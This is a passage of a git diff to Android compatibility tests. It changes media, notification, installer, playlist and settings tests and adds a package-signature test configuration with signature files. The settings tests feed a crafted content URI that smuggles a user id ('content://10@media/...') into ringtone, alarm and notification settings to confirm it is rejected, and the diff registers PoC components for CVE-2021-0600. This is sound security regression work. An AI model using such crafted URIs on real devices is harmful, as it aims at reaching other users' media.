+ if (mMime.equals(MediaFormat.MIMETYPE_VIDEO_VP9) && video.contains("10bit")) {
+ // TODO: b/295804596 - parse color profiles in vp9
+ // In some cases, webm extractor may not signal
+ // profile for 10-bit VP9 clips. In such cases, set profile to a
+ // 10-bit compatible profile.
+ mediaFormat.setInteger(MediaFormat.KEY_PROFILE, CodecProfileLevel.VP9Profile2);
+ }
MediaCodecInfo info = mDecoder.getCodecInfo();
CodecCapabilities caps = info.getCapabilitiesForType(mMime);
diff --git a/tests/tests/notification/src/android/app/notification/current/cts/NotificationTemplateTest.kt b/tests/tests/notification/src/android/app/notification/current/cts/NotificationTemplateTest.kt
index e53e65c5347..9d61435d32d 100644
--- a/tests/tests/notification/src/android/app/notification/current/cts/NotificationTemplateTest.kt
+++ b/tests/tests/notification/src/android/app/notification/current/cts/NotificationTemplateTest.kt
@@ -61,7 +61,7 @@ class NotificationTemplateTest : NotificationTemplateTestBase() {
}
fun testWideIcon_inCollapsedState_canShowExact4By3() {
- val icon = createBitmap(400, 300)
+ val icon = createBitmap(40, 30)
val views = Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
.setSmallIcon(R.drawable.ic_media_play)
.setContentTitle("Title")
@@ -120,7 +120,7 @@ class NotificationTemplateTest : NotificationTemplateTestBase() {
}
fun testWideIcon_inBigBaseState_canShowExact4By3() {
- val icon = createBitmap(400, 300)
+ val icon = createBitmap(40, 30)
val views = Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
.setSmallIcon(R.drawable.ic_media_play)
.setContentTitle("Title")
@@ -174,7 +174,7 @@ class NotificationTemplateTest : NotificationTemplateTestBase() {
}
val picture = createBitmap(40, 30)
- val icon = createBitmap(400, 300)
+ val icon = createBitmap(40, 30)
val views = Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
.setSmallIcon(R.drawable.ic_media_play)
.setContentTitle("Title")
@@ -225,7 +225,7 @@ class NotificationTemplateTest : NotificationTemplateTestBase() {
}
fun testWideIcon_inBigText_canShowExact4By3() {
- val icon = createBitmap(400, 300)
+ val icon = createBitmap(40, 30)
val views = Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
.setSmallIcon(R.drawable.ic_media_play)
.setContentTitle("Title")
diff --git a/tests/tests/os/jni/android_os_cts_PerformanceHintManagerTest.cpp b/tests/tests/os/jni/android_os_cts_PerformanceHintManagerTest.cpp
index 4d06b6c4016..e51a83571fa 100644
--- a/tests/tests/os/jni/android_os_cts_PerformanceHintManagerTest.cpp
+++ b/tests/tests/os/jni/android_os_cts_PerformanceHintManagerTest.cpp
@@ -170,8 +170,8 @@ static jstring nativeTestSetThreadsWithInvalidTid(JNIEnv* env, jobject) {
std::vector<pid_t> tids;
tids.push_back(2);
int result = APerformanceHint_setThreads(wrapper.session(), tids.data(), 1);
- if (result != EINVAL) {
- return toJString(env, "setThreads did not return EINVAL");
+ if (result != EINVAL && result != EPERM) {
+ return toJString(env, "setThreads did not return EINVAL nor EPERM");
}
return nullptr;
}
diff --git a/tests/tests/packageinstaller/install/src/android/packageinstaller/install/cts/IntentTest.kt b/tests/tests/packageinstaller/install/src/android/packageinstaller/install/cts/IntentTest.kt
index 8a65ad3accb..e19ad7a5eda 100644
--- a/tests/tests/packageinstaller/install/src/android/packageinstaller/install/cts/IntentTest.kt
+++ b/tests/tests/packageinstaller/install/src/android/packageinstaller/install/cts/IntentTest.kt
@@ -158,7 +158,6 @@ class IntentTest : PackageInstallerTestBase() {
clickInstallerUIButton(INSTALL_BUTTON_ID)
// Install should not have succeeded
- assertEquals(RESULT_CANCELED, installation.get(TIMEOUT, TimeUnit.MILLISECONDS))
assertNotInstalled()
} finally {
setSecureFrp(false)
diff --git a/tests/tests/packageinstaller/install/src/android/packageinstaller/install/cts/PackageInstallerTestBase.kt b/tests/tests/packageinstaller/install/src/android/packageinstaller/install/cts/PackageInstallerTestBase.kt
index 75f079e73e7..76b860e429c 100644
--- a/tests/tests/packageinstaller/install/src/android/packageinstaller/install/cts/PackageInstallerTestBase.kt
+++ b/tests/tests/packageinstaller/install/src/android/packageinstaller/install/cts/PackageInstallerTestBase.kt
@@ -53,6 +53,7 @@ import java.io.File
import java.util.concurrent.CompletableFuture
import java.util.concurrent.LinkedBlockingQueue
import java.util.concurrent.TimeUnit
+import java.util.regex.Pattern
import org.junit.After
import org.junit.Assert
import org.junit.Before
@@ -369,7 +370,16 @@ open class PackageInstallerTestBase {
* @param resId The resource ID of the button to click
*/
fun clickInstallerUIButton(resId: String) {
- clickInstallerUIButton(By.res(PACKAGE_INSTALLER_PACKAGE_NAME, resId))
+ clickInstallerUIButton(getBySelector(resId))
+ }
+
+ private fun getBySelector(id: String): BySelector {
+ // Normally, we wouldn't need to look for buttons from 2 different packages.
+ // However, to fix b/297132020, AlertController was replaced with AlertDialog and shared
+ // to selective partners, leading to fragmentation in which button surfaces in an OEM's
+ // installer app.
+ return By.res(Pattern.compile(String.format(
+ "(?:^%s|^%s):id/%s", PACKAGE_INSTALLER_PACKAGE_NAME, SYSTEM_PACKAGE_NAME, id)))
}
/**
diff --git a/tests/tests/packageinstaller/packagescheme/src/android/packageinstaller/packagescheme/cts/PackageSchemeTestBase.kt b/tests/tests/packageinstaller/packagescheme/src/android/packageinstaller/packagescheme/cts/PackageSchemeTestBase.kt
index 1f4c9bb0e6f..9686c6d5df5 100644
--- a/tests/tests/packageinstaller/packagescheme/src/android/packageinstaller/packagescheme/cts/PackageSchemeTestBase.kt
+++ b/tests/tests/packageinstaller/packagescheme/src/android/packageinstaller/packagescheme/cts/PackageSchemeTestBase.kt
@@ -30,6 +30,7 @@ import androidx.test.core.app.ActivityScenario
import androidx.test.core.app.ApplicationProvider
import androidx.test.platform.app.InstrumentationRegistry
import androidx.test.uiautomator.By
+import androidx.test.uiautomator.BySelector
import androidx.test.uiautomator.UiDevice
import androidx.test.uiautomator.UiObject2
import androidx.test.uiautomator.Until
@@ -40,6 +41,7 @@ import java.util.concurrent.ArrayBlockingQueue
import java.util.concurrent.CountDownLatch
import java.util.concurrent.TimeUnit
import java.util.function.Supplier
+import java.util.regex.Pattern
import org.junit.After
import org.junit.Before
@@ -144,17 +146,13 @@ open class PackageSchemeTestBase {
mScenario!!.onActivity {
val button: UiObject2?
val btnName: String
- // When the installed package is found, the dialog box shown is owned by
- // com.android.packageinstaller (ag/19602120). On the other hand, when an error
- // dialog box is shown due to app not being present or due to
- // visibility constraints, the dialog box is owned by the system
if (packageHasVisibility && needTargetApp) {
- button = mUiDevice.wait(Until.findObject(By.res(PACKAGE_INSTALLER_PACKAGE_NAME,
- NEGATIVE_BTN_ID)), DEFAULT_TIMEOUT)
+ button = mUiDevice.wait(
+ Until.findObject(getBySelector(NEGATIVE_BTN_ID)), DEFAULT_TIMEOUT)
btnName = "Cancel"
} else {
- button = mUiDevice.wait(Until.findObject(By.res(SYSTEM_PACKAGE_NAME,
- POSITIVE_BTN_ID)), DEFAULT_TIMEOUT)
+ button = mUiDevice.wait(
+ Until.findObject(getBySelector(POSITIVE_BTN_ID)), DEFAULT_TIMEOUT)
btnName = "OK"
}
assertWithMessage("$btnName not found").that(button).isNotNull()
@@ -216,4 +214,13 @@ open class PackageSchemeTestBase {
return Intent(Intent.ACTION_INSTALL_PACKAGE)
.setData(Uri.parse("package:$TARGET_APP_PKG_NAME"))
}
+
+ private fun getBySelector(id: String): BySelector {
+ // Normally, we wouldn't need to look for buttons from 2 different packages.
+ // However, to fix b/297132020, AlertController was replaced with AlertDialog and shared
+ // to selective partners, leading to fragmentation in which button surfaces in an OEM's
+ // installer app.
+ return By.res(Pattern.compile(String.format("(?:^%s|^%s):id/%s",
+ PACKAGE_INSTALLER_PACKAGE_NAME, SYSTEM_PACKAGE_NAME, id)))
+ }
}
diff --git a/tests/tests/packageinstaller/tapjacking/src/android/packageinstaller/tapjacking/cts/TapjackingTest.java b/tests/tests/packageinstaller/tapjacking/src/android/packageinstaller/tapjacking/cts/TapjackingTest.java
index d8edc13ce3c..9b2ffce24de 100644
--- a/tests/tests/packageinstaller/tapjacking/src/android/packageinstaller/tapjacking/cts/TapjackingTest.java
+++ b/tests/tests/packageinstaller/tapjacking/src/android/packageinstaller/tapjacking/cts/TapjackingTest.java
@@ -35,7 +35,7 @@ import androidx.test.InstrumentationRegistry;
import androidx.test.core.app.ActivityScenario;
import androidx.test.filters.MediumTest;
import androidx.test.runner.AndroidJUnit4;
-
+import java.util.regex.Pattern;
import org.junit.After;
import org.junit.Before;
import org.junit.Test;
@@ -47,6 +47,7 @@ import org.junit.runner.RunWith;
public class TapjackingTest {
private static final String LOG_TAG = TapjackingTest.class.getSimpleName();
+ private static final String SYSTEM_PACKAGE_NAME = "android";
private static final String PACKAGE_INSTALLER_PACKAGE_NAME = "com.android.packageinstaller";
private static final String INSTALL_BUTTON_ID = "button1";
private static final String OVERLAY_ACTIVITY_TEXT_VIEW_ID = "overlay_description";
@@ -92,23 +93,32 @@ public class TapjackingTest {
return mUiDevice.wait(Until.findObject(selector), WAIT_FOR_UI_TIMEOUT);
}
+ private UiObject2 waitForButton(String id) {
+ return mUiDevice.wait(Until.findObject(getBySelector(id)), WAIT_FOR_UI_TIMEOUT);
+ }
+
+ private BySelector getBySelector(String id) {
+ return By.res(Pattern.compile(
+ String.format("(?:^%s|^%s):id/%s", PACKAGE_INSTALLER_PACKAGE_NAME, SYSTEM_PACKAGE_NAME,
+ id)));
+ }
+
@Test
public void testTapsDroppedWhenObscured() throws Exception {
Log.i(LOG_TAG, "launchPackageInstaller");
launchPackageInstaller();
- UiObject2 installButton = waitForView(PACKAGE_INSTALLER_PACKAGE_NAME, INSTALL_BUTTON_ID);
+ UiObject2 installButton = waitForButton(INSTALL_BUTTON_ID);
assertNotNull("Install button not shown", installButton);
Log.i(LOG_TAG, "launchOverlayingActivity");
launchOverlayingActivity();
assertNotNull("Overlaying activity not started",
waitForView(mPackageName, OVERLAY_ACTIVITY_TEXT_VIEW_ID));
- installButton = waitForView(PACKAGE_INSTALLER_PACKAGE_NAME, INSTALL_BUTTON_ID);
+ installButton = waitForButton(INSTALL_BUTTON_ID);
assertNotNull("Cannot find install button below overlay activity", installButton);
Log.i(LOG_TAG, "installButton.click");
installButton.click();
assertFalse("Tap on install button succeeded", mUiDevice.wait(
- Until.gone(By.res(PACKAGE_INSTALLER_PACKAGE_NAME, INSTALL_BUTTON_ID)),
- WAIT_FOR_UI_TIMEOUT));
+ Until.gone(getBySelector(INSTALL_BUTTON_ID)),WAIT_FOR_UI_TIMEOUT));
mUiDevice.pressBack();
}
diff --git a/tests/tests/provider/src/android/provider/cts/media/MediaStore_Audio_PlaylistsTest.java b/tests/tests/provider/src/android/provider/cts/media/MediaStore_Audio_PlaylistsTest.java
index 46c59e71b16..32224c4aea3 100644
--- a/tests/tests/provider/src/android/provider/cts/media/MediaStore_Audio_PlaylistsTest.java
+++ b/tests/tests/provider/src/android/provider/cts/media/MediaStore_Audio_PlaylistsTest.java
@@ -96,8 +96,12 @@ public class MediaStore_Audio_PlaylistsTest {
c.getString(c.getColumnIndex(Playlists.NAME)));
long realDateAdded = c.getLong(c.getColumnIndex(Playlists.DATE_ADDED));
+ long realDateModified = c.getLong(c.getColumnIndex(Playlists.DATE_MODIFIED));
assertTrue(realDateAdded >= dateAdded);
- assertEquals(dateModified, c.getLong(c.getColumnIndex(Playlists.DATE_MODIFIED)));
+ // Sometimes the realDateModified is less than dateModified by exactly one second.
+ // We've never seen any real issues with that and now the Playlists are deprecated.
+ // Just changing the test to remove flakiness.
+ assertTrue(Math.abs(dateModified - realDateModified) <= 1);
assertTrue(c.getLong(c.getColumnIndex(Playlists._ID)) > 0);
c.close();
} finally {
diff --git a/tests/tests/provider/src/android/provider/cts/settings/Settings_SystemTest.java b/tests/tests/provider/src/android/provider/cts/settings/Settings_SystemTest.java
index 24440fb7ebb..482cb890af4 100644
--- a/tests/tests/provider/src/android/provider/cts/settings/Settings_SystemTest.java
+++ b/tests/tests/provider/src/android/provider/cts/settings/Settings_SystemTest.java
@@ -192,12 +192,45 @@ public class Settings_SystemTest extends StsExtraBusinessLogicTestCase {
final ContentResolver cr = InstrumentationRegistry.getTargetContext().getContentResolver();
final String originalValue = System.getString(cr, System.RINGTONE);
final String invalidUri = "content://10@media/external/audio/media/1000000019";
- System.putString(cr, System.RINGTONE, invalidUri);
+ try {
+ System.putString(cr, System.RINGTONE, invalidUri);
+ } catch (Exception ignored) {
+ // Some implementation of SettingsProvider might throw an exception here, which
+ // is okay, as long as the insertion of the invalid setting fails in the end
+ }
// Assert that the insertion didn't take effect
assertThat(System.getString(cr, System.RINGTONE)).isEqualTo(originalValue);
}
@Test
+ @AsbSecurityTest(cveBugId = 227201030)
+ public void testInvalidAlarmAlertUriIsRejected() {
+ final ContentResolver cr = InstrumentationRegistry.getTargetContext().getContentResolver();
+ final String originalValue = System.getString(cr, System.NOTIFICATION_SOUND);
+ final String invalidUri = "content://10@media/external/audio/media/1000000019";
+ try {
+ System.putString(cr, System.NOTIFICATION_SOUND, invalidUri);
+ } catch (Exception ignored) {
+ }
+ // Assert that the insertion didn't take effect
+ assertThat(System.getString(cr, System.NOTIFICATION_SOUND)).isEqualTo(originalValue);
+ }
+
+ @Test
+ @AsbSecurityTest(cveBugId = 227201030)
+ public void testInvalidNotificationSoundUriIsRejected() {
+ final ContentResolver cr = InstrumentationRegistry.getTargetContext().getContentResolver();
+ final String originalValue = System.getString(cr, System.ALARM_ALERT);
+ final String invalidUri = "content://10@media/external/audio/media/1000000019";
+ try {
+ System.putString(cr, System.ALARM_ALERT, invalidUri);
+ } catch (Exception ignored) {
+ }
+ // Assert that the insertion didn't take effect
+ assertThat(System.getString(cr, System.ALARM_ALERT)).isEqualTo(originalValue);
+ }
+
+ @Test
public void testGetDefaultValues() {
final ContentResolver cr = InstrumentationRegistry.getTargetContext().getContentResolver();
diff --git a/tests/tests/security/Android.bp b/tests/tests/security/Android.bp
index ce63982ab2c..1bca40ac1bf 100644
--- a/tests/tests/security/Android.bp
+++ b/tests/tests/security/Android.bp
@@ -248,3 +248,61 @@ filegroup {
"test-cert-with-1-2-4-in-rotation-history",
],
}
+
+// PackageSignatureTest is split so that it can be part of GTS suite
+// See b/301094654
+android_test {
+ name: "GtsPackageSignatureTest",
+ defaults: ["cts_defaults"],
+ // Include both the 32 and 64 bit versions
+ compile_multilib: "both",
+ static_libs: [
+ "androidx.test.ext.junit",
+ "androidx.test.rules",
+ "androidx.test.runner",
+ "android-common",
+ "ctstestserver",
+ "ctstestrunner-axt",
+ "cts-install-lib",
+ "compatibility-device-util-axt",
+ "compatibility-common-util-devicesidelib",
+ "guava",
+ "platform-test-annotations",
+ "permission-test-util-lib",
+ "sts-device-util",
+ "hamcrest-library",
+ "NeneInternal",
+ ],
+ libs: [
+ "android.test.runner",
+ "org.apache.http.legacy",
+ "android.test.base",
+ ],
+ jni_libs: [
+ "libctssecurity_jni",
+ "libcts_jni",
+ "libnativehelper_compat_libc++",
+ "libnativehelper",
+ "libcutils",
+ "libcrypto",
+ "libselinux",
+ "libc++",
+ "libpcre2",
+ "libpackagelistparser",
+ "libcve_2019_2213_jni",
+ ],
+ host_required: ["CtsBackupHostTestCases"],
+ srcs: [
+ "src/android/security/cts/PackageSignatureTest.java",
+ ],
+ platform_apis: true,
+ // Tag this module as a gts test artifact
+ test_suites: [
+ "gts",
+ "general-tests",
+ ],
+ certificate: ":security_cts_test_certificate",
+ per_testcase_directory: true,
+ test_config: "AndroidTest_PackageSignatureTest.xml",
+ manifest: "AndroidManifest_PackageSignatureTest.xml",
+}
diff --git a/tests/tests/security/AndroidManifest.xml b/tests/tests/security/AndroidManifest.xml
index e7168c2568a..f8d882ba055 100644
--- a/tests/tests/security/AndroidManifest.xml
+++ b/tests/tests/security/AndroidManifest.xml
@@ -291,6 +291,19 @@
</intent-filter>
</activity>
+ <activity android:name="android.security.cts.CVE_2021_0600.PocActivity" />
+
+ <receiver android:name="android.security.cts.CVE_2021_0600.PocDeviceAdminReceiver"
+ android:permission="android.permission.BIND_DEVICE_ADMIN"
+ android:exported="true">
+ <meta-data
+ android:name="android.app.device_admin"
+ android:resource="@xml/device_admin_cve_2021_0600" />
+ <intent-filter>
+ <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
+ </intent-filter>
+ </receiver>
+
<service android:name="android.security.cts.AttributionSourceService"
android:enabled="true"
android:exported="true"
diff --git a/tests/tests/security/AndroidManifest_PackageSignatureTest.xml b/tests/tests/security/AndroidManifest_PackageSignatureTest.xml
new file mode 100644
index 00000000000..9fd33649027
--- /dev/null
+++ b/tests/tests/security/AndroidManifest_PackageSignatureTest.xml
@@ -0,0 +1,49 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.security.cts">
+
+ <permission-tree android:name="com.android.cts"/>
+
+ <uses-permission android:name="android.permission.QUERY_ALL_PACKAGES"/>
+ <uses-permission android:name="android.permission.INTERACT_ACROSS_USERS"/>
+
+ <!-- For FileIntegrityManager -->
+ <uses-permission android:name="android.permission.REQUEST_INSTALL_PACKAGES"/>
+
+ <!-- CVE-2023-21143 -->
+ <uses-permission android:name="android.permission.POST_NOTIFICATIONS" />
+
+ <application android:usesCleartextTraffic="true">
+ <uses-library android:name="android.test.runner"/>
+ </application>
+
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.security.cts"
+ android:label="GTS PackageSignatureTest">
+ <meta-data android:name="listener"
+ android:value="com.android.cts.runner.CtsTestRunListener"/>
+ </instrumentation>
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.security.cts"
+ android:label="GTS PackageSignatureTest">
+ <meta-data android:name="listener"
+ android:value="com.android.cts.runner.CrashParserRunListener"/>
+ </instrumentation>
+
+</manifest>
diff --git a/tests/tests/security/AndroidTest_PackageSignatureTest.xml b/tests/tests/security/AndroidTest_PackageSignatureTest.xml
new file mode 100644
index 00000000000..a96440d6769
--- /dev/null
+++ b/tests/tests/security/AndroidTest_PackageSignatureTest.xml
@@ -0,0 +1,47 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2023 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<configuration description="Config for GtsPackageSignatureTest">
+ <option name="test-suite-tag" value="gts" />
+ <option name="config-descriptor:metadata" key="component" value="security" />
+ <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+ <!-- CtsDeviceInfo target API is 23; instant app requires target API >= 26. -->
+ <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+ <option name="config-descriptor:metadata" key="parameter" value="run_on_sdk_sandbox" />
+ <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+ <option name="cleanup-apks" value="true" />
+ <option name="test-file-name" value="GtsPackageSignatureTest.apk" />
+ </target_preparer>
+ <target_preparer class="com.android.compatibility.common.tradefed.targetprep.CrashReporter" />
+
+ <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
+ <option name="teardown-command"
+ value="pm uninstall --user 0 android.security.cts" />
+ </target_preparer>
+
+ <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
+ <option name="run-command" value="mkdir -p /data/local/tmp/cts/security" />
+ <option name="teardown-command" value="rm -rf /data/local/tmp/cts"/>
+ </target_preparer>
+
+ <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+ <option name="package" value="android.security.cts" />
+ <!-- test-timeout unit is ms, value = 15 min -->
+ <option name="test-timeout" value="900000" />
+ <option name="hidden-api-checks" value="false" />
+ </test>
+
+</configuration>
diff --git a/tests/tests/security/res/raw/sig_android_telephony_cts_testkey.bin b/tests/tests/security/res/raw/sig_android_telephony_cts_testkey.bin
new file mode 100644
index 00000000000..7e2dc3ebabc
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_android_telephony_cts_testkey.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_build_bazel_examples_apex_minimal.bin b/tests/tests/security/res/raw/sig_build_bazel_examples_apex_minimal.bin
new file mode 100644
index 00000000000..5add3a77f13
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_build_bazel_examples_apex_minimal.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_cert.bin b/tests/tests/security/res/raw/sig_cert.bin
new file mode 100644
index 00000000000..f42b8ae1e86
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_cert.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_android_adbd.bin b/tests/tests/security/res/raw/sig_com_android_adbd.bin
new file mode 100644
index 00000000000..aceb985ca47
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_com_android_adbd.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_android_adservices.bin b/tests/tests/security/res/raw/sig_com_android_adservices.bin
new file mode 100644
index 00000000000..b5b920ba094
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_com_android_adservices.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_android_adservices_api.bin b/tests/tests/security/res/raw/sig_com_android_adservices_api.bin
new file mode 100644
index 00000000000..d5c4a295f88
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_com_android_adservices_api.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_android_appsearch.bin b/tests/tests/security/res/raw/sig_com_android_appsearch.bin
new file mode 100644
index 00000000000..f133a7ba4eb
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_com_android_appsearch.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_android_art.bin b/tests/tests/security/res/raw/sig_com_android_art.bin
new file mode 100644
index 00000000000..508c56c90b8
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_com_android_art.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_android_bluetooth.bin b/tests/tests/security/res/raw/sig_com_android_bluetooth.bin
new file mode 100644
index 00000000000..3d397c0048f
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_com_android_bluetooth.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_android_btservices.bin b/tests/tests/security/res/raw/sig_com_android_btservices.bin
new file mode 100644
index 00000000000..9ee766c0ffb
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_com_android_btservices.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_android_car_framework.bin b/tests/tests/security/res/raw/sig_com_android_car_framework.bin
new file mode 100644
index 00000000000..f3b7e787d4a
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_com_android_car_framework.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_android_cellbroadcast.bin b/tests/tests/security/res/raw/sig_com_android_cellbroadcast.bin
new file mode 100644
index 00000000000..bad7b6c8786
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_com_android_cellbroadcast.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_android_compos.bin b/tests/tests/security/res/raw/sig_com_android_compos.bin
new file mode 100644
index 00000000000..d4ba69a9ea2
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_com_android_compos.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_android_connectivity_resources.bin b/tests/tests/security/res/raw/sig_com_android_connectivity_resources.bin
new file mode 100644
index 00000000000..e89a5520692
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_com_android_connectivity_resources.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_android_extservices.bin b/tests/tests/security/res/raw/sig_com_android_extservices.bin
new file mode 100644
index 00000000000..790edbb4980
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_com_android_extservices.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_android_geotz.bin b/tests/tests/security/res/raw/sig_com_android_geotz.bin
new file mode 100644
index 00000000000..aa9479aa310
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_com_android_geotz.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_android_hardware_core_permissions.bin b/tests/tests/security/res/raw/sig_com_android_hardware_core_permissions.bin
new file mode 100644
index 00000000000..1ac04ee5275
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_com_android_hardware_core_permissions.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_android_hardware_power.bin b/tests/tests/security/res/raw/sig_com_android_hardware_power.bin
new file mode 100644
index 00000000000..7db8788c3df
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_com_android_hardware_power.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_android_hardware_sensors.bin b/tests/tests/security/res/raw/sig_com_android_hardware_sensors.bin
new file mode 100644
index 00000000000..c3f2e2e40ea
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_com_android_hardware_sensors.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_android_hardware_thermal.bin b/tests/tests/security/res/raw/sig_com_android_hardware_thermal.bin
new file mode 100644
index 00000000000..03b7c4481a3
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_com_android_hardware_thermal.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_android_hardware_usb.bin b/tests/tests/security/res/raw/sig_com_android_hardware_usb.bin
new file mode 100644
index 00000000000..7a892d82d1d
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_com_android_hardware_usb.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_android_hardware_vibrator.bin b/tests/tests/security/res/raw/sig_com_android_hardware_vibrator.bin
new file mode 100644
index 00000000000..d33176391a9
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_com_android_hardware_vibrator.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_android_hardware_wifi.bin b/tests/tests/security/res/raw/sig_com_android_hardware_wifi.bin
new file mode 100644
index 00000000000..9b0f190e799
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_com_android_hardware_wifi.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_android_hotspot2_osulogin.bin b/tests/tests/security/res/raw/sig_com_android_hotspot2_osulogin.bin
new file mode 100644
index 00000000000..2bb4b5acfe1
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_com_android_hotspot2_osulogin.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_android_i18n.bin b/tests/tests/security/res/raw/sig_com_android_i18n.bin
new file mode 100644
index 00000000000..6bcf8ecc16f
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_com_android_i18n.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_android_ipsec.bin b/tests/tests/security/res/raw/sig_com_android_ipsec.bin
new file mode 100644
index 00000000000..319484ac734
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_com_android_ipsec.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_android_mediaprovider.bin b/tests/tests/security/res/raw/sig_com_android_mediaprovider.bin
new file mode 100644
index 00000000000..c87618f32ee
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_com_android_mediaprovider.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_android_neuralnetworks.bin b/tests/tests/security/res/raw/sig_com_android_neuralnetworks.bin
new file mode 100644
index 00000000000..05cb7b9fd7a
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_com_android_neuralnetworks.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_android_os_statsd.bin b/tests/tests/security/res/raw/sig_com_android_os_statsd.bin
new file mode 100644
index 00000000000..ed8693be0f9
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_com_android_os_statsd.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_android_permission.bin b/tests/tests/security/res/raw/sig_com_android_permission.bin
new file mode 100644
index 00000000000..e9e5a692dff
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_com_android_permission.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_android_rkpd.bin b/tests/tests/security/res/raw/sig_com_android_rkpd.bin
new file mode 100644
index 00000000000..c49bfd057fa
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_com_android_rkpd.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_android_runtime.bin b/tests/tests/security/res/raw/sig_com_android_runtime.bin
new file mode 100644
index 00000000000..e59f0f37eda
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_com_android_runtime.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_android_safetycenter_resources.bin b/tests/tests/security/res/raw/sig_com_android_safetycenter_resources.bin
new file mode 100644
index 00000000000..d9f97a4f693
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_com_android_safetycenter_resources.bin
Binary files differ
